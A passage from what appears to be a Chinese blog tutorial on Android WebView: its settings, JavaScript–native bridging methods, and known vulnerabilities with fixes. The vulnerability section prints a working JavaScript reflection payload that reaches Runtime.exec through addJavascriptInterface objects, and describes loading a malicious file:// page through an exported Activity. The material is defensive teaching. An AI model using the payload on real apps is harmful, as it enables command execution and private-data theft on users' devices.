android WebView詳解,常見漏洞詳解和安全原始碼

Shawn_Dut發表於2017-02-12

  這篇部落格主要來介紹 WebView 的相關使用方法,常見的幾個漏洞,開發中可能遇到的坑和最後解決相應漏洞的原始碼,以及針對該原始碼的解析。
  轉載請註明出處:blog.csdn.net/self_study/…
  對技術感興趣的同鞋加群 544645972 一起交流。

Android Hybrid 和 WebView 解析

  現在市面上的 APP 根據型別大致可以分為 3 類:Native APP、Web APP 和 Hybrid APP,而 Hybrid APP 兼具 “Native APP 良好使用者互動體驗的優勢”和 “Web APP 跨平臺開發的優勢”,現在很多的主流應用也是使用 Hybrid 模式開發的。

Hybrid 的優勢與原生的體驗差距

Hybrid 的優勢

  為什麼要使用 Hybrid 開發呢,這就要提到 native 開發的限制:

  1.客戶端發板週期長

    眾所周知,客戶端的發板週期在正常情況下比較長,就算是創業公司的迭代也在一到兩個星期一次,大公司的迭代週期一般都在月這個數量級別上,而且 Android 還好,iOS 的稽核就算變短了也有幾天,而且可能會有稽核不通過的意外情況出現,所謂為了應對業務的快速發展,很多業務比如一些活動頁面就可以使用 H5 來進行開發。

  2.客戶端大小體積受限

    如果所有的東西都使用 native 開發,比如上面提到的活動頁面,就會造成大量的資原始檔要加入到 APK 中,這就造成 APK 大小增加,而且有的活動頁面更新很快,造成資原始檔可能只會使用一個版本,如果不及時清理,就會造成資原始檔的殘留。

  3.web 頁面的體驗問題

    使用純 Web 開發,比以前迭代快速很多,但是從某種程度上來說,還是不如原生頁面的互動體驗好;
  4.無法跨平臺

    一般情況下,同一樣的頁面在 android 和 iOS 上需要寫兩份不同的程式碼,但是現在只需要寫一份即可,Hybrid 具有跨平臺的優勢。


  所以綜上這兩種方式單獨處理都不是特別好,考慮到發版週期不定,而且體驗互動上也不能很差,所以就把兩種方式綜合起來,讓終端和前端共同開發一個 APP,這樣一些迭代很穩定的頁面就可以使用原生,增加體驗性;一些迭代很快速的頁面就可以使用 H5,讓兩種優點結合起來,彌補原來單個開發模式的缺點。

android WebView詳解,常見漏洞詳解和安全原始碼
這裡寫圖片描述

H5 與 Native 的體驗差距

  H5 和 Native 的體驗差距主要在兩個方面:

  1.頁面渲染瓶頸

    第一個是前端頁面程式碼渲染,受限於 JS 的解析效率,以及手機硬體裝置的一些效能,所以從這個角度來說,我們應用開發者是很難從根本上解決這個問題的;

  2.資源載入緩慢

    第二個方面是 H5 頁面是從伺服器上下發的,客戶端的頁面在記憶體裡面,在頁面載入時間上面,根據網路狀況的不同,H5 頁面的體驗和 Native 在很多情況下相比差距還是不小的,但是這種問題從某種程度上來說也是可以彌補的,比如說我們可以做一些資源預載入的方案,在資源預載入方面,其實也有很多種方式,下面主要列舉了一些:

  • 第一種方式是使用 WebView 自身的快取機制:
  • 如果我們在 APP 裡面訪問一個頁面,短時間內再次訪問這個頁面的時候,就會感覺到第二次開啟的時候順暢很多,載入速度比第一次的時間要短,這個就是因為 WebView 自身內部會做一些快取,只要開啟過的資源,他都會試著快取到本地,第二次需要訪問的時候他直接從本地讀取,但是這個讀取其實是不太穩定的東西,關掉之後,或者說這種快取失效之後,系統會自動把它清除,我們沒辦法進行控制。基於這個 WebView 自身的快取,有一種資源預載入的方案就是,我們在應用啟動的時候可以開一個畫素的 WebView ,事先去訪問一下我們常用的資源,後續開啟頁面的時候如果再用到這些資源他就可以從本地獲取到,頁面載入的時間會短一些。
  • 第二種方案是,我們自己去構建,自己管理快取:
  • 把這些需要預載入的資源放在 APP 裡面,他可能是預先放進去的,也可能是後續下載的,問題在於前端這些頁面怎麼去快取,兩個方案,第一種是前端可以在 H5 打包的時候把裡面的資源 URL 進行替換,這樣可以直接訪問本地的地址;第二種是客戶端可以攔截這些網頁發出的所有請求做替換:
    android WebView詳解,常見漏洞詳解和安全原始碼
    這裡寫圖片描述

    這個是美團使用的預載入方案(詳情請看:美團大眾點評 Hybrid 化建設),歸屬於第二種載入方案,每當 WebView 發起資源請求的時候,我們會攔截這些資源的請求,去本地檢查一下我們這些靜態資源本地離線包有沒有。針對本地的快取檔案我們有些策略能夠及時的去更新它,為了安全考慮,也需要同時做一些預下載和安全包的加密工作。預下載有以下幾點優勢:
  1. 我們攔截了 WebView 裡面發出的所有的請求,但是並沒有替換裡面的前端應用的任何程式碼,前端這套頁面程式碼可以在 APP 內,或者其他的 APP 裡面都可以直接訪問,他不需要為我們 APP 做定製化的東西;
  2. 這些 URL 請求,他會直接帶上先前使用者操作所留下的 Cookie ,因為我們沒有更改資源原始 URL 地址;
  3. 整個前端在用離線包和快取檔案的時候是完全無感知的,前端只用管寫一個自己的頁面,客戶端會幫他處理好這樣一些靜態資源預載入的問題,有這個離線包的話,載入速度會變快很多,特別是在弱網情況下,沒有這些離線包載入速度會慢一些。而且如果本地離線包的版本不能跟 H5 匹配的話,H5 頁面也不會發生什麼問題。
  實際資源預下載也確實能夠有效的增加頁面的載入速度,具體的對比可以去看美團的那片文章。  那麼什麼地方需要使用 Native 開發,什麼地方需要使用 H5 開發呢:一般來說 Hybrid 是用在一些快速迭代試錯的地方,另外一些非主要產品的頁面,也可以使用 Hybrid 去做;但是如果是一些很重要的流程,使用頻率很高,特別核心的功能,還是應該使用 Native 開發,讓使用者得到一個極致的產品體驗。

WebView 詳細介紹

  我們來看看 Google 官閘道器於 WebView 的介紹:

A View that displays web pages. This class is the basis upon which you can roll your own web browser
 or simply display some online content within your Activity. It uses the WebKit rendering engine 
 to display web pages and includes methods to navigate forward and backward through a history, 
 zoom in and out, perform text searches and more.複製程式碼

可以看到 WebView 是一個顯示網頁的控制元件,並且可以簡單的顯示一些線上的內容,並且基於 WebKit 核心,在 Android4.4(API Level 19) 引入了一個基於 Chromium 的新版本 WebView ,這讓我們的 WebView 能支援 HTML5 和 CSS3 以及 Javascript,有一點需要注意的是由於 WebView 的升級,對於我們的程式也帶來了一些影響,如果我們的 targetSdkVersion 設定的是 18 或者更低, single and narrow column 和 default zoom levels 不再支援。Android4.4 之後有一個特別方便的地方是可以通過 setWebContentDebuggingEnabled() 方法讓我們的程式可以進行遠端桌面除錯。

WebView 載入頁面

  WebView 有四個用來載入頁面的方法:

  使用起來較為簡單,loadData 方法會有一些坑,在下面的內容會介紹到。

WebView 常見設定

  使用 WebView 的時候,一般都會對其進行一些設定,我們來看看常見的設定:

WebSettings webSettings = webView.getSettings();
//設定了這個屬性後我們才能在 WebView 裡與我們的 Js 程式碼進行互動,對於 WebApp 是非常重要的,預設是 false,
//因此我們需要設定為 true,這個本身會有漏洞,具體的下面我會講到
webSettings.setJavaScriptEnabled(true);

//設定 JS 是否可以開啟 WebView 新視窗
webSettings.setJavaScriptCanOpenWindowsAutomatically(true);

//WebView 是否支援多視窗,如果設定為 true,需要重寫 
//WebChromeClient#onCreateWindow(WebView, boolean, boolean, Message) 函式,預設為 false
webSettings.setSupportMultipleWindows(true);

//這個屬性用來設定 WebView 是否能夠載入圖片資源,需要注意的是,這個方法會控制所有圖片,包括那些使用 data URI 協議嵌入
//的圖片。使用 setBlockNetworkImage(boolean) 方法來控制僅僅載入使用網路 URI 協議的圖片。需要提到的一點是如果這
//個設定從 false 變為 true 之後,所有被內容引用的正在顯示的 WebView 圖片資源都會自動載入,該標識預設值為 true。
webSettings.setLoadsImagesAutomatically(false);
//標識是否載入網路上的圖片(使用 http 或者 https 域名的資源),需要注意的是如果 getLoadsImagesAutomatically() 
//不返回 true,這個標識將沒有作用。這個標識和上面的標識會互相影響。
webSettings.setBlockNetworkImage(true);

//顯示WebView提供的縮放控制元件
webSettings.setDisplayZoomControls(true);
webSettings.setBuiltInZoomControls(true);

//設定是否啟動 WebView API,預設值為 false
webSettings.setDatabaseEnabled(true);

//開啟 WebView 的 storage 功能,這樣 JS 的 localStorage,sessionStorage 物件才可以使用
webSettings.setDomStorageEnabled(true);

//開啟 WebView 的 LBS 功能,這樣 JS 的 geolocation 物件才可以使用
webSettings.setGeolocationEnabled(true);
webSettings.setGeolocationDatabasePath("");

//設定是否開啟 WebView 表單資料的儲存功能
webSettings.setSaveFormData(true);

//設定 WebView 的預設 userAgent 字串
webSettings.setUserAgentString("");

//設定是否 WebView 支援 “viewport” 的 HTML meta tag,這個標識是用來螢幕自適應的,當這個標識設定為 false 時,
//頁面佈局的寬度被一直設定為 CSS 中控制的 WebView 的寬度;如果設定為 true 並且頁面含有 viewport meta tag,那麼
//被這個 tag 宣告的寬度將會被使用,如果頁面沒有這個 tag 或者沒有提供一個寬度,那麼一個寬型 viewport 將會被使用。
webSettings.setUseWideViewPort(false);

//設定 WebView 的字型,可以通過這個函式,改變 WebView 的字型,預設字型為 "sans-serif"
webSettings.setStandardFontFamily("");
//設定 WebView 字型的大小,預設大小為 16
webSettings.setDefaultFontSize(20);
//設定 WebView 支援的最小字型大小,預設為 8
webSettings.setMinimumFontSize(12);

//設定頁面是否支援縮放
webSettings.setSupportZoom(true);
//設定文字的縮放倍數,預設為 100
webSettings.setTextZoom(2);複製程式碼

  然後還有最常用的 WebViewClient 和 WebChromeClient,WebViewClient主要輔助WebView執行處理各種響應請求事件的,比如:

  • onLoadResource
  • onPageStart
  • onPageFinish
  • onReceiveError
  • onReceivedHttpAuthRequest
  • shouldOverrideUrlLoading
WebChromeClient 主要輔助 WebView 處理J avaScript 的對話方塊、網站 Logo、網站 title、load 進度等處理:
  • onCloseWindow(關閉WebView)
  • onCreateWindow
  • onJsAlert
  • onJsPrompt
  • onJsConfirm
  • onProgressChanged
  • onReceivedIcon
  • onReceivedTitle
  • onShowCustomView
WebView 只是用來處理一些 html 的頁面內容,只用 WebViewClient 就行了,如果需要更豐富的處理效果,比如 JS、進度條等,就要用到 WebChromeClient,我們接下來為了處理在特定版本之下的 js 漏洞問題,就需要用到 WebChromeClient。
  接著還有 WebView 的幾種快取模式:
  • LOAD_CACHE_ONLY
  • 不使用網路,只讀取本地快取資料;
  • LOAD_DEFAULT
  • 根據 cache-control 決定是否從網路上取資料;
  • LOAD_CACHE_NORMAL
  • API level 17 中已經廢棄, 從 API level 11 開始作用同 LOAD_DEFAULT 模式 ;
  • LOAD_NO_CACHE
  • 不使用快取,只從網路獲取資料;
  • LOAD_CACHE_ELSE_NETWORK
  • 只要本地有,無論是否過期,或者 no-cache,都使用快取中的資料。
www.baidu.com 的 cache-control 為 no-cache,在模式 LOAD_DEFAULT 下,無論如何都會從網路上取資料,如果沒有網路,就會出現錯誤頁面;在 LOAD_CACHE_ELSE_NETWORK 模式下,無論是否有網,只要本地有快取,都會載入快取。本地沒有快取時才從網路上獲取,這個和 Http 快取一致,我不在過多介紹,如果你想自定義快取策略和時間,可以嘗試下,volley 就是使用了 http 定義的快取時間。
  清空快取和清空歷史記錄,CacheManager 來處理 webview 快取相關:mWebView.clearCache(true);;清空歷史記錄mWebview.clearHistory();,這個方法要在 onPageFinished() 的方法之後呼叫。

WebView 與 native 的互動

  使用 Hybrid 開發的 APP 基本都需要 Native 和 web 頁面的 JS 進行互動,下面介紹一下互動的方式。

js 呼叫 native

  如何讓 web 頁面呼叫 native 的程式碼呢,有三種方式:

  第一種方式:通過 addJavascriptInterface 方法進行新增物件對映
  這種是使用最多的方式了,首先第一步我們需要設定一個屬性:

mWebView.getSettings().setJavaScriptEnabled(true);複製程式碼

這個函式會有一個警告,因為在特定的版本之下會有非常危險的漏洞,我們下面將會著重介紹到,設定完這個屬性之後,Native 需要定義一個類:

public class JSObject {
    private Context mContext;
    public JSObject(Context context) {
        mContext = context;
    }

    @JavascriptInterface
    public String showToast(String text) {
        Toast.show(mContext, text, Toast.LENGTH_SHORT).show();
        return "success";
    }
}
...
//特定版本下會存在漏洞
mWebView.addJavascriptInterface(new JSObject(this), "myObj");複製程式碼

需要注意的是在 API17 版本之後,需要在被呼叫的地方加上 @addJavascriptInterface 約束註解,因為不加上註解的方法是沒有辦法被呼叫的,JS 程式碼也很簡單:

function showToast(){
    var result = myObj.showToast("我是來自web的Toast");
}複製程式碼

可以看到,這種方式的好處在於使用簡單明瞭,本地和 JS 的約定也很簡單,就是物件名稱和方法名稱約定好即可,缺點就是下面要提到的漏洞問題。

  第二種方式:利用 WebViewClient 介面回撥方法攔截 url

  這種方式其實實現也很簡單,使用的頻次也很高,上面我們介紹到了 WebViewClient ,其中有個回撥介面 shouldOverrideUrlLoading (WebView view, String url)) ,我們就是利用這個攔截 url,然後解析這個 url 的協議,如果發現是我們預先約定好的協議就開始解析引數,執行相應的邏輯,我們先來看看這個函式的介紹:

Give the host application a chance to take over the control when a new url is about to be loaded in 
the current WebView. If WebViewClient is not provided, by default WebView will ask Activity Manager 
to choose the proper handler for the url. If WebViewClient is provided, return true means the host 
application handles the url, while return false means the current WebView handles the url. This 
method is not called for requests using the POST "method".複製程式碼

注意這個方法在 API24 版本已經廢棄了,需要使用 shouldOverrideUrlLoading (WebView view, WebResourceRequest request)) 替代,使用方法很類似,我們這裡就使用 shouldOverrideUrlLoading (WebView view, String url)) 方法來介紹一下:

public boolean shouldOverrideUrlLoading(WebView view, String url) {
    //假定傳入進來的 url = "js://openActivity?arg1=111&arg2=222",代表需要開啟本地頁面,並且帶入相應的引數
    Uri uri = Uri.parse(url);
    String scheme = uri.getScheme();
    //如果 scheme 為 js,代表為預先約定的 js 協議
    if (scheme.equals("js")) {
          //如果 authority 為 openActivity,代表 web 需要開啟一個本地的頁面
        if (uri.getAuthority().equals("openActivity")) {
              //解析 web 頁面帶過來的相關引數
            HashMap<String, String> params = new HashMap<>();
            Set<String> collection = uri.getQueryParameterNames();
            for (String name : collection) {
                params.put(name, uri.getQueryParameter(name));
            }
            Intent intent = new Intent(getContext(), MainActivity.class);
            intent.putExtra("params", params);
            getContext().startActivity(intent);
        }
        //代表應用內部處理完成
        return true;
    }
    return super.shouldOverrideUrlLoading(view, url);
}複製程式碼

程式碼很簡單,這個方法可以攔截 WebView 中載入 url 的過程,得到對應的 url,我們就可以通過這個方法,與網頁約定好一個協議,如果匹配,執行相應操作,我們看一下 JS 的程式碼:

function openActivity(){
    document.location = "js://openActivity?arg1=111&arg2=222";
}複製程式碼

這個程式碼執行之後,就會觸發本地的 shouldOverrideUrlLoading 方法,然後進行引數解析,呼叫指定方法。這個方式不會存在第一種提到的漏洞問題,但是它也有一個很繁瑣的地方是,如果 web 端想要得到方法的返回值,只能通過 WebView 的 loadUrl 方法去執行 JS 方法把返回值傳遞回去,相關的程式碼如下:

//java
mWebView.loadUrl("javascript:returnResult(" + result + ")");複製程式碼
//javascript
function returnResult(result){
    alert("result is" + result);
}複製程式碼

所以說第二種方式在返回值方面還是很繁瑣的,但是在不需要返回值的情況下,比如開啟 Native 頁面,還是很合適的,制定好相應的協議,就能夠讓 web 端具有開啟所有本地頁面的能力了。

  第三種方式:利用 WebChromeClient 回撥介面的三個方法攔截訊息

  這個方法的原理和第二種方式原理一樣,都是攔截相關介面,只是攔截的介面不一樣:

@Override
public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
    return super.onJsAlert(view, url, message, result);
}

@Override
public boolean onJsConfirm(WebView view, String url, String message, JsResult result) {
    return super.onJsConfirm(view, url, message, result);
}

@Override
public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
    //假定傳入進來的 message = "js://openActivity?arg1=111&arg2=222",代表需要開啟本地頁面,並且帶入相應的引數
    Uri uri = Uri.parse(message);
    String scheme = uri.getScheme();
    if (scheme.equals("js")) {
        if (uri.getAuthority().equals("openActivity")) {
            HashMap<String, String> params = new HashMap<>();
            Set<String> collection = uri.getQueryParameterNames();
            for (String name : collection) {
                params.put(name, uri.getQueryParameter(name));
            }
            Intent intent = new Intent(getContext(), MainActivity.class);
            intent.putExtra("params", params);
            getContext().startActivity(intent);
            //代表應用內部處理完成
            result.confirm("success");
        }
        return true;
    }
    return super.onJsPrompt(view, url, message, defaultValue, result);
}複製程式碼

和 WebViewClient 一樣,這次新增的是 WebChromeClient 介面,可以攔截 JS 中的幾個提示方法,也就是幾種樣式的對話方塊,在 JS 中有三個常用的對話方塊方法:

  • onJsAlert 方法是彈出警告框,一般情況下在 Android 中為 Toast,在文字里面加入\n就可以換行;
  • onJsConfirm 彈出確認框,會返回布林值,通過這個值可以判斷點選時確認還是取消,true表示點選了確認,false表示點選了取消;
  • onJsPrompt 彈出輸入框,點選確認返回輸入框中的值,點選取消返回 null。
但是這三種對話方塊都是可以本地攔截到的,所以可以從這裡去做一些更改,攔截這些方法,得到他們的內容,進行解析,比如如果是 JS 的協議,則說明為內部協議,進行下一步解析然後進行相關的操作即可,prompt 方法呼叫如下所示:
function clickprompt(){
    var result=prompt("js://openActivity?arg1=111&arg2=222");
    alert("open activity " + result);
}複製程式碼

這裡需要注意的是 prompt 裡面的內容是通過 message 傳遞過來的,並不是第二個引數的 url,返回值是通過 JsPromptResult 物件傳遞。為什麼要攔截 onJsPrompt 方法,而不是攔截其他的兩個方法,這個從某種意義上來說都是可行的,但是如果需要返回值給 web 端的話就不行了,因為 onJsAlert 是不能返回值的,而 onJsConfirm 只能夠返回確定或者取消兩個值,只有 onJsPrompt 方法是可以返回字串型別的值,操作最全面方便。

  以上三種方案的總結和對比

  以上三種方案都是可行的,在這裡總結一下

  • 第一種方式:
  • 是現在目前最普遍的用法,方便簡潔,但是唯一的不足是在 4.2 系統以下存在漏洞問題;
  • 第二種方式:
  • 通過攔截 url 並解析,如果是已經約定好的協議則進行相應規定好的操作,缺點就是協議的約束需要記錄一個規範的文件,而且從 Native 層往 Web 層傳遞值比較繁瑣,優點就是不會存在漏洞,iOS7 之下的版本就是使用的這種方式。
  • 第三種方式:
  • 和第二種方式的思想其實是類似的,只是攔截的方法變了,這裡攔截了 JS 中的三種對話方塊方法,而這三種對話方塊方法的區別就在於返回值問題,alert 對話方塊沒有返回值,confirm 的對話方塊方法只有兩種狀態的返回值,prompt 對話方塊方法可以返回任意型別的返回值,缺點就是協議的制定比較麻煩,需要記錄詳細的文件,但是不會存在第二種方法的漏洞問題。

native 呼叫 js

  第一種方式
  native 呼叫 js 的方法上面已經介紹到了,方法為:

//java
mWebView.loadUrl("javascript:show(" + result + ")");複製程式碼
//javascript
<script type="text/javascript">

function show(result){
    alert("result"=result);
    return "success";
}

</script>複製程式碼

需要注意的是名字一定要對應上,要不然是呼叫不成功的,而且還有一點是 JS 的呼叫一定要在 onPageFinished 函式回撥之後才能呼叫,要不然也是會失敗的
  第二種方式
  如果現在有需求,我們要得到一個 Native 呼叫 Web 的回撥怎麼辦,Google 在 Android4.4 為我們新增加了一個新方法,這個方法比 loadUrl 方法更加方便簡潔,而且比 loadUrl 效率更高,因為 loadUrl 的執行會造成頁面重新整理一次,這個方法不會,因為這個方法是在 4.4 版本才引入的,所以我們使用的時候需要新增版本的判斷:

final int version = Build.VERSION.SDK_INT;
if (version < 18) {
    mWebView.loadUrl(jsStr);
} else {
    mWebView.evaluateJavascript(jsStr, new ValueCallback<String>() {
        @Override
        public void onReceiveValue(String value) {
            //此處為 js 返回的結果
        }
    });
}複製程式碼

  兩種方式的對比
  一般最常使用的就是第一種方法,但是第一種方法獲取返回的值比較麻煩,而第二種方法由於是在 4.4 版本引入的,所以侷限性比較大。

WebView 常見漏洞

  WebView 的漏洞也是不少,列舉一些常見的漏洞,實時更新,如果有其他的常見漏洞,知會一下我~~

WebView 任意程式碼執行漏洞

  已知的 WebView 任意程式碼執行漏洞有 4 個,較早被公佈是 CVE-2012-6636,揭露了 WebView 中 addJavascriptInterface 介面會引起遠端程式碼執行漏洞。接著是 CVE-2013-4710,針對某些特定機型會存在 addJavascriptInterface API 引起的遠端程式碼執行漏洞。之後是 CVE-2014-1939 爆出 WebView 中內建匯出的 “searchBoxJavaBridge_” Java Object 可能被利用,實現遠端任意程式碼。再後來是 CVE-2014-7224,類似於 CVE-2014-1939 ,WebView 內建匯出 “accessibility” 和 “accessibilityTraversal” 兩個 Java Object 介面,可被利用實現遠端任意程式碼執行。

  一般情況下,WebView 使用 Javascript 指令碼的程式碼如下所示:

WebView mWebView = (WebView)findViewById(R.id.webView);
WebSettings msetting = mWebView.getSettings();
msetting.setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new TestJsInterface(), “testjs”);
mWebView.loadUrl(url);複製程式碼

CVE-2012-6636CVE-2013-4710

  Android 系統為了方便 APP 中 Java 程式碼和網頁中的 Javascript 指令碼互動,在 WebView 控制元件中實現了 addJavascriptInterface 介面,如上面的程式碼所示,我們來看一下這個方法的官方描述:

This method can be used to allow JavaScript to control the host application. This is a powerful feature, 
but also presents a security risk for apps targeting JELLY_BEAN or earlier. Apps that target a version 
later than JELLY_BEAN are still vulnerable if the app runs on a device running Android earlier than 4.2.
 The most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the method is called 
 only when running on Android 4.2 or later. With these older versions, JavaScript could use reflection 
 to access an injected object's public fields. Use of this method in a WebView containing untrusted 
 content could allow an attacker to manipulate the host application in unintended ways, executing Java 
 code with the permissions of the host application. Use extreme care when using this method in a WebView 
 which could contain untrusted content.複製程式碼

  • JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore 
    required to maintain thread safety.The Java object's fields are not accessible.複製程式碼

  • For applications targeted to API level LOLLIPOP and above, methods of injected Java objects are 
    enumerable from JavaScript.複製程式碼

      可以看到,在 JELLY_BEAN(android 4.1)和 JELLY_BEAN 之前的版本中,使用這個方法是不安全的,網頁中的JS指令碼可以利用介面 “testjs” 呼叫 App 中的 Java 程式碼,而 Java 物件繼承關係會導致很多 Public 的函式及 getClass 函式都可以在JS中被訪問,結合 Java 的反射機制,攻擊者還可以獲得系統類的函式,進而可以進行任意程式碼執行,首先第一步 WebView 新增 Javascript 物件,並且新增一些許可權,比如想要獲取 SD 卡上面的資訊就需要 android.permission.WRITE_EXTERNAL_STORAGE ;第二步 JS 中可以遍歷 window 物件,找到存在 getClass 方法的物件,再通過反射的機制,得到 Runtime 物件,然後就可以呼叫靜態方法來執行一些命令,比如訪問檔案的命令;第三步就是從執行命令後返回的輸入流中得到字串,比如執行完訪問檔案的命令之後,就可以得到檔名的資訊了,有很嚴重暴露隱私的危險,核心 JS 程式碼:

    function execute(cmdArgs)  
    {  
        for (var obj in window) {  
            if ("getClass" in window[obj]) {  
                alert(obj);  
                return  window[obj].getClass().forName("java.lang.Runtime")  
                     .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
            }  
        }  
    }複製程式碼

    所以當一些 APP 通過掃描二維碼開啟一個外部網頁的時候,就可以執行這段 js 程式碼,漏洞在 2013 年 8 月被披露後,很多 APP 都中招,其中瀏覽器 APP 成為重災區,但截至目前仍有很多 APP 中依然存在此漏洞,與以往不同的只是攻擊入口發生了一定的變化。另外一些小廠商的 APP 開發團隊因為缺乏安全意識,依然還在APP中隨心所欲的使用 addJavascriptInterface 介面,明目張膽踩雷。

      出於安全考慮,Google 在 API17 版本中就規定能夠被呼叫的函式必須以 @JavascriptInterface 進行註解,理論上如果 APP 依賴的 API 為 17(Android 4.2)或者以上,就不會受該問題的影響,但在部分低版本的機型上,API17 依然受影響,所以危害性到目前為止依舊不小。關於所有 Android 機型的佔比,可以看看 Google 的 Dashboards

    android WebView詳解,常見漏洞詳解和安全原始碼
    這裡寫圖片描述


    截止 2017/1/9 日,可以看到 android5.0 之下的手機依舊不少,需要重視。

      漏洞的解決

      但是這個漏洞也是有解決方案的,上面的很多地方也都提到了這個漏洞,那麼這個漏洞怎麼去解決呢?這就需要用到 onJsPrompt 這個方法了,這裡先給出解決這個漏洞的具體步驟,在下面的原始碼部分有修復這個漏洞的詳細程式碼:

    • 繼承 WebView ,重寫 addJavascriptInterface 方法,然後在內部自己維護一個物件對映關係的 Map,當呼叫 addJavascriptInterface 方法,將需要新增的 JS 介面放入這個 Map 中;
    • 每次當 WebView 載入頁面的時候載入一段本地的 JS 程式碼:
    javascript:(function JsAddJavascriptInterface_(){
        if(typeof(window.XXX_js_interface_name)!='undefined'){
                console.log('window.XXX_js_interface_name is exist!!');
            }else{
               window.XXX_js_interface_name={
                       XXX:function(arg0,arg1){
                         return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));
                     },
                };
            }
        })()複製程式碼

    這段 JS 程式碼定義了注入的格式,其中的 XXX 為注入物件的方法名字,終端和 web 端只要按照定義的格式去互相呼叫即可,如果這個物件有多個方法,則會註冊多個 window.XXX_js_interface_name 塊;

  • 然後在 prompt 中返回我們約定的字串,當然這個字串也可以自己重新定義,它包含了特定的識別符號 MyApp,後面包含了一串 JSON 字串,它包含了方法名,引數,物件名等;
  • 當 JS 呼叫 XXX 方法的時候,就會呼叫到終端 Native 層的 OnJsPrompt 方法中,我們再解析出方法名,引數,物件名等,解析出來之後進行相應的處理,同時返回值也可以通過 prompt 返回回去;
  • window.XXX_js_interface_name 代表在 window 上宣告瞭一個物件,宣告的方式是:方法名:function(引數1,引數2)。
  • 還有一個問題是什麼時候載入這段 JS 呢,在 WebView 正常載入 URL 的時候去載入它,但是會發現當 WebView 跳轉到下一個頁面時,之前載入的 JS 可能就已經無效了,需要再次載入,所以通常需要在一下幾個方法中載入 JS,這幾個方法分別是 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged。
      通過這幾步,就可以簡單的修復漏洞問題,但是還需要注意幾個問題,需要過濾掉 Object 類的方法,由於通過反射的形式來得到指定物件的方法,所以基類的方法也可以得到,最頂層的基類就是 Object,為了不把 getClass 等方法注入到 JS 中,我們需要把 Object 的共有方法過濾掉,需要過濾的方法列表如下:“getClass”,“hashCode”,“notify”,“notifyAll”,“equals”,“toString”,“wait”,具體的程式碼實現可以看看下面的原始碼。

    CVE-2014-1939

      在 2014 年發現在 Android4.4 以下的系統中,webkit 中預設內建了 “searchBoxJavaBridge”,程式碼位於 “java/android/webkit/BrowserFrame.java”,該介面同樣存在遠端程式碼執行的威脅,所以就算沒有通過 addJavascriptInterface 加入任何的物件,系統也會加入一個 searchBoxJavaBridge 物件,解決辦法就是通過 removeJavascriptInterface 方法將物件刪除。

    CVE-2014-7224

      在 2014 年,研究人員 Daoyuan Wu 和 Rocky Chang 發現,當系統輔助功能服務被開啟時,在 Android4.4 以下的系統中,由系統提供的 WebView 元件都預設匯出 ”accessibility” 和 ”accessibilityTraversal” 這兩個介面,程式碼位於 “android/webkit/AccessibilityInjector.java”,這兩個介面同樣存在遠端任意程式碼執行的威脅,同樣的需要通過 removeJavascriptInterface 方法將這兩個物件刪除。

    WebView 密碼明文儲存漏洞

      WebView 預設開啟密碼儲存功能 mWebView.setSavePassword(true),如果該功能未關閉,在使用者輸入密碼時,會彈出提示框,詢問使用者是否儲存密碼,如果選擇”是”,密碼會被明文保到 /data/data/com.package.name/databases/webview.db 中,這樣就有被盜取密碼的危險,所以需要通過 WebSettings.setSavePassword(false) 關閉密碼儲存提醒功能。

    WebView 域控制不嚴格漏洞

      要了解 WebView 中 file 協議的安全性,我們這裡用一個簡單的例子來演示一下,這個 APP 中有一個頁面叫做 WebViewActivity :

    public class WebViewActivity extends Activity {
        private WebView webView;
        public void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_webview);
            webView = (WebView) findViewById(R.id.webView);
            //webView.getSettings().setJavaScriptEnabled(true);                   (0)
            //webView.getSettings().setAllowFileAccess(false);                    (1)
            //webView.getSettings().setAllowFileAccessFromFileURLs(true);         (2)
            //webView.getSettings().setAllowUniversalAccessFromFileURLs(true);    (3)
            Intent i = getIntent();
            String url = i.getData().toString(); //url = file:///data/local/tmp/attack.html 
            webView.loadUrl(url);
        }
     }複製程式碼

    將該 WebViewActivity 設定為 exported="true",當其他應用啟動此 Activity 時, intent 中的 data 直接被當作 url 來載入(假定傳進來的 url 為 file:///data/local/tmp/attack.html ),通過其他 APP 使用顯式 ComponentName 或者其他類似方式就可以很輕鬆的啟動該 WebViewActivity ,我們知道因為 Android 中的 sandbox,Android 中的各應用是相互隔離的,在一般情況下 A 應用是不能訪問 B 應用的檔案的,但不正確的使用 WebView 可能會打破這種隔離,從而帶來應用資料洩露的威脅,即 A 應用可以通過 B 應用匯出的 Activity 讓 B 應用載入一個惡意的 file 協議的 url,從而可以獲取 B 應用的內部私有檔案,下面我們著重分析這幾個 API 對 WebView 安全性的影響。

    setAllowFileAccess)

    Enables or disables file access within WebView. File access is enabled by default. Note that this 
    enables or disables file system access only. Assets and resources are still accessible using 
    file:///android_asset and file:///android_res.複製程式碼

      通過這個 API 可以設定是否允許 WebView 使用 File 協議,Android 中預設 setAllowFileAccess(true),所以預設值是允許,在 File 域下,能夠執行任意的 JavaScript 程式碼,同源策略跨域訪問則能夠對私有目錄檔案進行訪問,APP 嵌入的 WebView 未對 file:/// 形式的 URL 做限制,所以使用 file 域載入的 js 能夠使用同源策略跨域訪問導致隱私資訊洩露,針對 IM 類軟體會導致聊天資訊、聯絡人等等重要資訊洩露,針對瀏覽器類軟體,則更多的是 cookie 資訊洩露。如果不允許使用 file 協議,則不會存在下面將要講到的各種跨源的安全威脅,但同時也限制了 WebView 的功能,使其不能載入本地的 html 檔案。禁用 file 協議後,讓 WebViewActivity 開啟 attack.html 會得到如下圖所示的輸出,圖中所示的檔案是存在的,但 WebView 禁止載入此檔案,移動版的 Chrome 預設禁止載入 file 協議的檔案。

    android WebView詳解,常見漏洞詳解和安全原始碼
    這裡寫圖片描述


    那麼怎麼解決呢,不要著急,繼續往下看。

    setAllowFileAccessFromFileURLs)

    Sets whether JavaScript running in the context of a file scheme URL should be allowed to access 
    content from other file scheme URLs. To enable the most restrictive, and therefore secure policy, 
    this setting should be disabled. Note that the value of this setting is ignored if the value of 
    getAllowUniversalAccessFromFileURLs() is true. Note too, that this setting affects only JavaScript 
    access to file scheme resources. Other access to such resources, for example, from image HTML 
